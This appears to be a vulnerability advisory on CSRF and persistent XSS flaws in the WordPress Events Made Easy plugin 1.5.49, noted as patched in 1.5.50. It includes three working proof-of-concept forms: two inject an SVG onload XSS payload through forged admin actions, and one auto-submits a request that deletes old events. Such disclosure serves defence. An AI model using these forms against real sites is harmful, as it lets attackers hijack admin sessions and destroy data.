WordPress Events Made Easy plugin version 1.5.49 suffers from cross site request forgery and cross site scripting vulnerabilities.
e6ab0dbf47bdb241ce59c3f77340e3954d08be8c7d28daeaaaa7ebea93f82c0d
Plugin link: https://wordpress.org/plugins/events-made-easy/
Active Installs: 10,000+
Version tested: 1.5.49
CVE Reference: Waiting
Original advisory:
https://www.davidsopas.com/events-made-easy-wordpress-plugin-csrf-persistent-xss/
Events Made Easy is a full-featured event management solution for
WordPress. Events Made Easy supports public, private, draft and
recurring events, locations management, RSVP (+ optional approval),
Paypal, 2Checkout, FirstData and Google maps. With Events Made Easy
you can plan and publish your event, or let people reserve spaces for
your weekly meetings. You can add events list, calendars and
description to your blog using multiple sidebar widgets or shortcodes;
if you are a web designer you can simply employ the template tags
provided by Events Made Easy.
When playing around with this plugin I noticed a couple of
vulnerabilities. In my opinion they are critical because they can
could cause damage to a WordPress installation.
All of them are related to CSRF where the vendor forgot to place a
security token (wp_nonce) on the affected forms.
#1 Add template CSRF + Persistent XSS
URL: /wp-admin/admin.php?page=eme-templates
If a authenticated admin clicks on the “Add template” button on a html
with this code:
<form action="https://victims_website/wp-admin/admin.php?page=eme-templates"
method="POST">
<input type="hidden" name="eme_admin_action" value="do_addtemplate" />
<input type="hidden" name="description" value="<svg/onload=confirm(1)>" />
<input type="hidden" name="format" value="csrf" />
<input type="submit" name="submit" value="Add template" />
</form>
It will add a Persistent XSS vector on the template description field.
This field is automatically executed when the admin visits the page
admin.php?page=eme-templates.
Possible attack scenario:
Malicious user checks that Events Made Easy is installed on a
WordPress installation
Malicious sends admin a link to the page that has a auto-submit
form with a XSS vector that hijacks victims browser
Victim visits the page and gets hijacked
#2 Add Form Field CSRF + Persistent XSS
URL: /wp-admin/admin.php?page=eme-formfields
If a authenticated admin clicks on the “Add field” button on a html
with this code:
<form action="https://victims_website/wp-admin/admin.php?page=eme-formfields"
method="POST">
<input type="hidden" name="eme_admin_action" value="do_addformfield" />
<input type="hidden" name="field_name" value="<svg/onload=confirm(1)>" />
<input type="hidden" name="field_type" value="1" />
<input type="hidden" name="field_info" value="csrf" />
<input type="hidden" name="field_tags" value="csrf" />
<input type="submit" name="submit" value="Add field" />
</form>
Like vulnerability #1 the attack scenario is the same. Same issue
affects form fields on this plugin.
#3 Remove events older than CSRF
URL: /wp-admin/admin.php?page=eme-cleanup
With this CSRF a malicious user could delete all the events older than
a certain number.
In my proof of concept I used a auto-submit form that could also be
used in vulnerabilities #1 and #2.
<form action="https://victims_website/wp-admin/admin.php?page=eme-cleanup"
name="dsopas" method="POST">
<input type="hidden" name="page" value="eme-cleanup" />
<input type="hidden" name="eme_admin_action" value="eme_cleanup" />
<input type="hidden" name="eme_number" value="1" />
<input type="hidden" name="eme_period" value="day" />
<input type="hidden" name="doaction" value="Apply" />
</form> <script> document.dsopas.submit(); </script>
Possible attack scenario:
Malicious user checks that Events Made Easy is installed on a
WordPress installation
Malicious sends admin a link to the page that has this auto-submit form
Without victim noticing, events older than 1 day will be removed.
Solution:
Vendor in a matter of few hours launched a patched version – 1.5.50.
Also he was kind enough to put my name on the changelog.
-David Sopas
davidsopas.com
@dsopas